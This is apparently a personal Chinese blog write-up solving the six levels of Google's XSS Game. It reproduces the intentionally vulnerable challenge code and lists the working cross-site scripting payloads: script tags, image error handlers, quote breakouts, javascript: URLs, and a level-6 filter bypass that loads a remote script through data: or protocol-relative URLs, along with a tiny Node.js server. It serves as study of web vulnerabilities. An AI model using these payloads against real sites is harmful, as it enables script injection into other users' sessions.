嗯,一个月都没弄最后一关。。。今天回家,写出来吧,我都是参考了答案了的,菜鸟勿怪,其实也就是给自己记录。。。
谷歌XSS 第一关 Hello, world of XSS
page_header = """
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level1">
<img src="/static/logos/level1.png">
<div>
"""
page_footer = """
</div>
</body>
</html>
"""
main_page_markup = """
<form action="" method="GET">
<input id="query" name="query" value="Enter query here..."
οnfοcus="this.value=''">
<input id="button" type="submit" value="Search">
</form>
"""
class MainPage(webapp.RequestHandler):
def render_string(self, s):
self.response.out.write(s)
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."//这里query 是你输入的东西
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)//应该是这里有问题了 我记得我以前看的说了这个函数很可能会出问题
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
解决就是直接在里面输入<script>alert(1)</script>
第二关 Persistence is key
index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- This is our database of messages -->
<script src="/static/post-store.js"></script>
<script>
var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
+ " stream. You can post anything you want here, especially "
+ "<span style='color: #f00ba7'>madness</span>."; //这是第一个显示
var DB = new PostDB(defaultMessage);
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>' //这个是时间啦 虽然我学的水皮
html += "<blockquote>" + posts[i].message + "</blockquote"; //posts[i].message应该就是我们输入了 如何构造了?这个样子一看就知道<script>alert(1)</script>是不可行的。 我们换种来 比如在<a href=”javascript:alert(1)”>Clickme</a>这个貌似木有用,好吧换个<a href="click" onclik="javascript:alert(1);">click</a> 我不怎么明白这2个有啥区别。。。 类比啦,可以加载一个图片<img src="你咬我啊" οnerrοr="javascript:alert(1);"/> 加载失败。加载成功了就是这个样子啦 <img src="http://photocdn.sohu.com/20131012/Img388037248.jpg" onLoad="javascript:alert(1);"/>
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
window.onload = function() {
document.getElementById('clear-form').onsubmit = function() {
DB.clear(function() { displayPosts() });
return false;
}
document.getElementById('post-form').onsubmit = function() {
var message = document.getElementById('post-content').value;
DB.save(message, function() { displayPosts() } );
document.getElementById('post-content').value = "";
return false;
}
displayPosts();
}
</script>
</head>
<body id="level2">
<div id="header">
<img src="/static/logos/level2.png" />
<div>Chatter from across the Web.</div>
<form action="?" id="clear-form">
<input class="clear" type="submit" value="Clear all posts">
</form>
</div>
<div id="post-container"></div>
<table class="message">
<tr>
<td valign="top">
<img src="/static/level2_icon.png">
</td>
<td class="message-container">
<div class="shim"></div>
<form action="?" id="post-form">
<textarea id="post-content" name="content" rows="2"
cols="50"></textarea>
<input class="share" type="submit" value="Share status!"> //这里是输入那里的界面
<input type="hidden" name="action" value="sign">
</form>
</td>
</tr>
</table>
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage) ], debug=False)
post-store.js
/*
* Objects to implement a client-side post database.
*/
function Post(message) {
this.message = message;
this.date = (new Date()).getTime();
}
function PostDB(defaultMessage) {
// Initial message to display to users
this._defaultMessage = defaultMessage || "";
this.setup = function() {
var defaultPost = new Post(defaultMessage);
window.localStorage["postDB"] = JSON.stringify({
"posts" : [defaultPost]
});
}
this.save = function(message, callback) {
var newPost = new Post(message);
var allPosts = this.getPosts();
allPosts.push(newPost);
window.localStorage["postDB"] = JSON.stringify({
"posts" : allPosts
});
callback();
return false;
}
this.clear = function(callback) {
this.setup();
callback();
return false;
}
this.getPosts = function() {
return JSON.parse(window.localStorage["postDB"]).posts;
}
if(!window.localStorage["postDB"]) {
this.setup();
}
}
第三关 That sinking feeling
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; //这个貌似有点可能 提示说<script>是无法让浏览器做出相应,额这应该就是DOM反射类型吧 分析啦啦啦啦
.jpg' onLoad='javascript:alert(1)';".jpg' />";(".jpg' />";这个我加不加都可以)
frame#5.jpg' οnerrοr='javascript:alert(1)';//又是加载失败 你懂的
.jpg'><script>alert(1);</script>//难道是我英语太水了,这个是可以的
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(self.location.hash.substr(1) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(self.location.hash.substr(1));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" οnclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" οnclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" οnclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
第4关 Context matters
index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form> //这里吧
</form>
</body>
</html>
timer.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3; //这里怎么弄? pareseInt(seconds)让你用单词的话转码就失败啦。。。 ||的意思应该是让如果你输入的不是数字就直接使用3.。。。貌似木有什么关系啊,因为我下面是直接的timer
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" οnlοad="startTimer('{{ timer }}');" /> //这里传进去吧 还是换world文档写,写的舒服点。嗯 那么我尝试一下1}}’);” οnlοad=”javascript:alert(1);”/>毫无作用。。。 无脑弄这个果然是要拼RP的。。。 还是看startTimer()这个函数吧 上面貌似也没虾米帮助,然后了 1');alert(1);//这个是可以的 所以了然后尝试||这个符号吧也就是1’)||alert(1);是可以的。。。。提示里面说需要转码但是 1')%3Balert(1
1')%3Balert('1 要点GO了被转码了才能用。。。翻墙感觉比较卡,所以。。。
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div> //这里也可以吧
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('timer'):
# Show main timer page
self.render_template('index.html')
else:
# Show the results page
timer= self.request.get('timer', 0)
self.render_template('timer.html', { 'timer' : timer })
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
第5关 Breaking protocol
Wlcome.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<scriptsrc="/static/game-frame.js"></script>
<linkrel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<bodyid="level5">
Welcome! Today we are announcing the much anticipated<br><br>
<imgsrc="/static/logos/level5.png"/><br><br>
<ahref="/level5/frame/signup?next=confirm">Sign up</a>
for an exclusive Beta.
</body>
</html>
Signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<body id="level5">
<img src="/static/logos/level5.png"/><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email"name="email"value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
# Route the request to the appropriate template
if "signup" in self.request.path:
self.render_template('signup.html',
{'next': self.request.get('next')})
elif "confirm" in self.request.path:
self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})
else:
self.render_template('welcome.html', {})
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
Confirm.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet"href="/static/game-frame-styles.css"/>
</head>
<body id="level5">
<img src="/static/logos/level5.png"/><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
</body>
</html>
这关是在signup?next=javascript:alert(1)然后那个继续
breaking protocol破坏框架 着实找答案学习的。。。
感觉是这句话有问题
<ahref="/level5/frame/signup?next=confirm">Sign up</a>以后再看看吧
第6关 Follow the
Index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<scriptsrc="/static/game-frame.js"></script>
<linkrel="stylesheet"href="/static/game-frame-styles.css"/>
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<bodyid="level6">
<imgsrc="/static/logos/level6.png">
<imgid="cube"src="/static/level6_cube.png">
<divid="log">Loading gadget...</div>
</body>
</html>
Level.py
classMainPage(webapp.RequestHandler):
defrender_template(self, filename, context={}):
path=os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
defget(self):
self.render_template('index.html')
application=webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
在最后一关,我们可以用如下方式使用data:text/javascript:
data:text/javascript,alert(1);
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert(1);//就像是注入啊
正则表达式也是大小写敏感的,所以我们可以用“HTTP”代替“http”,之后用如下这种方式加载远程脚本:
HTTP://127.0.0.1:8000
或在网址最开始处添加一个空格:
[空格]http://127.0.0.1:8000
首页必须包含一些类似alert(1)这样的javascript脚本。
我在网络上看到有些人没办法加载某些HTTP脚本,因为他们使用的是HTTPS版本,这种情况下,可以自己创建一个简单的HTTPS服务器(例如使用Node.js)。
var https = require('https');
var fs = require('fs');
var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')
var options = {
key: hskey,
cert: hscert
};
https.createServer(options, function (req, res){
res.writeHead(200);
res.end("alert(1);");
}).listen(8000);
利用Node.js实现简单的HTTPS服务器
在这两种情况下,可以使用以下代码绕过过滤:
//website.com/evilscript.js
双反斜杠符号//是使用https或http的另一种方式,实际情况中会用哪个取决于网站使用的协议。
例如,如果运行着自己的HTTPS服务器,可以注入以下代码:
//127.0.0.1:8000
那个网页做下源码,我自己翻墙访问自己的网站慢的死,就没访问成功
<html>
<head>
<script type="text/javascript">
alert("1")
</script>
</head>
<body>
</body>
</html>